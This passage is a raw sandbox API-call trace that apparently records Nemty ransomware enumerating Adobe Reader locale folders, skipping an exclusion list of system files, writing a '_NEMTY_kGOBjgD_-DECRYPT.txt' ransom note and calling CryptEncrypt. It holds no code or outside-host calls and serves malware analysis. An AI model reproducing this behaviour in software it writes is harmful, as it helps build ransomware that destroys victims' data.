(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0174.475] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.475] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b500690, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1b500690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b500690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0174.475] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0174.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0174.476] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2=".") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="..") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="...") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="windows") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="$RECYCLE.BIN") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="rsa") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="NTDETECT.COM") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="ntldr") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="MSDOS.SYS") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="IO.SYS") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="boot.ini") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="boot.ini") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="AUTOEXEC.BAT") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="ntuser.dat") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="desktop.ini") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="CONFIG.SYS") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="RECYCLER") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="BOOTSECT.BAK") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="bootmgr") returned 1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="programdata") returned -1 [0174.476] lstrcmpiW (lpString1="da_DK", lpString2="appdata") returned 1 [0174.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da_DK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0174.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da_DK", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da_DK", lpUsedDefaultChar=0x0) returned 5 [0174.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da_DK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0174.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da_DK", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da_DK", lpUsedDefaultChar=0x0) returned 5 [0174.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0174.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0174.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0174.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0174.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0174.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0174.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0174.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0174.479] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.479] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0174.480] CloseHandle (hObject=0x254) returned 1 [0174.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0174.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0174.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.481] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.481] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0174.482] CloseHandle (hObject=0x254) returned 1 [0174.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.482] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ba356b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ba356b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0174.482] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0174.482] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ba356b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ba356b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0174.482] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0174.482] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0174.482] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2=".") returned 1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="..") returned 1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="...") returned 1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="windows") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="rsa") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="NTDETECT.COM") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="ntldr") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="MSDOS.SYS") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="IO.SYS") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="boot.ini") returned -1 [0174.482] lstrcmpiW (lpString1="accessibility.DAN", lpString2="boot.ini") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="AUTOEXEC.BAT") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="ntuser.dat") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="desktop.ini") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="CONFIG.SYS") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="RECYCLER") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="BOOTSECT.BAK") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="bootmgr") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="programdata") returned -1 [0174.483] lstrcmpiW (lpString1="accessibility.DAN", lpString2="appdata") returned -1 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DAN", lpUsedDefaultChar=0x0) returned 17 [0174.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DAN", lpUsedDefaultChar=0x0) returned 17 [0174.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0174.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DAN", lpUsedDefaultChar=0x0) returned 17 [0174.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DAN", lpUsedDefaultChar=0x0) returned 17 [0174.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.484] Sleep (dwMilliseconds=0x5) [0174.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ba81970, dwHighDateTime=0x1d561e8)) [0174.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ba81970, dwHighDateTime=0x1d561e8)) [0174.499] GetLastError () returned 0xb7 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.500] GetLastError () returned 0xb7 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.500] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.500] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="V8+vu+/64PjJhVlI6V10nxevC6zJfXwaOnQu9xcVzcsU+w2FgDpBfiLAwMtjNbOl\r\noz2ceSX/Aaxv1N6k7CTTS+UTk7KFJe/NnKSXx5PbZL4IlUDZ4kiyuW6wMJDiB4zV\r\nMqXOpPlls3jgdpKs0fnXN1r+wE7VeAF1XTP+aWIHd7wCngMU1OW3hCla8Ll4fy3l\r\n9ZQCSYbcNJC6aosQYsrlI4QylLS0SQ4bDpD03xgOutr+zKN7GOmoBFj/R17frVKo\r\nWiiEca8l3rLn5/OviOcqhp28hRR6oNjvQXwreTFBCjbCRLcxD3ZZCKw+vhHgthSb\r\nGw/ti+9Cjzt9lGx2F015aA==\r\n", pcchString=0x653e5dc) returned 1 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 